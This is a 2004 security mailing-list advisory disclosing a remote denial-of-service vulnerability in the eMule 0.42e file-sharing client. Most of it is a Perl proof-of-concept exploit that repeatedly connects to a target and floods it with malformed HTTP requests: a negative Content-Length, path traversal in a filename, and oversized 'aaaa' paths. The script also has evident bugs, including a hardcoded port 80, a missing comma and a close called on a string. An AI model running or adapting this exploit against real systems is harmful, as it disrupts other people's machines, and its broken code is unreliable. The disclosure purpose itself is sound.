[NT] eMule Remote DoS

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To: list@securiteam.com
Date: 11 May 2004 15:59:41 +0200

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  eMule Remote DoS
------------------------------------------------------------------------

SUMMARY

 <http://www.emule-project.net/index.php?s=home> eMule is "a new file
sharing client which is based on the eDonkey2000 network, but offers more
features than the standard eDonkey client, because it's open source but
under the restrictions of the GPL License."

A remote DoS vulnerability exists in eMule. Presented is a
proof-of-concept exploit code in Perl for this vulnerability.

DETAILS

Vulnerable Systems:
 * eMule version 0.42e

Exploit:
#!/usr/bin/perl

system("cls");
# Emule 0.42e Remote Denial Of Service Exploit
# Coded by Rafel Ivgi, The-Insider: http://theinsider.deep-ice.com
# usage: perl emule042e.pl <host> <port> <how many times>

use IO::Socket;
my $host = $ARGV[0];
my $port = $ARGV[1];
my $times = $ARGV[2];

if ($host)
{
unless($port) { $port="4711";}
unless($times) { $times="50";}
{
        print "Emule 0.42e Remote Denial Of Service Exploit
      Coded by The-Insider\n\n";
        print "[+] Connecting to target $host:$port\n";
for $i (1..$times) {
        $remote=IO::Socket::INET->new(Proto =>"tcp",
 PeerAddr => $host,
 PeerPort => 80,
                  Type => SOCK_STREAM
                  Timeout => 8);

 unless ($remote)
         {
         die "can't connect to $host"
         }
         print "[+] Connected to target $host:$port\n";
         print "[+] Sending Request\n";
 $remote ->autoflush(1);
print $remote "GET / HTTP/1.1
Content-Disposition: form-data; name=\"file\";
filename=\"../../../file.txt\"

";
print $remote "POST / HTTP/1.0
Content-Length: 10

123456789

";
print $remote "POST / HTTP/1.1
Content-Length: -1

";
print $remote "GET /%%%%%%%%%%%% HTTP/1.0

";
print $remote "index.htm

";
print $remote "GET
/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaa HTTP/1.1

";
print $remote "GET
/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaa

";
print $remote "GET c:\

";
         print $remote "GET
/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa HTTP/1.1

";
         while(<$remote>)
         {
         $cool .= $_;
 if ($cool =~ /Server:/i)
         {
         close $cool;
         -close $remote;
         }
         }
         print "[+] Target Demolished.\n";
}}}
else
{
die "\nEmule 0.42e Remote Denial Of Service Exploit
Coded by Rafel Ivgi, The-Insider: http://theinsider.deep-ice.com

usage: perl emule042e.pl <host> <port> <how many times>\n\n";
}

ADDITIONAL INFORMATION

The information has been provided by <mailto:theinsider@012.net.il> Rafel
Ivgi, The-Insider.

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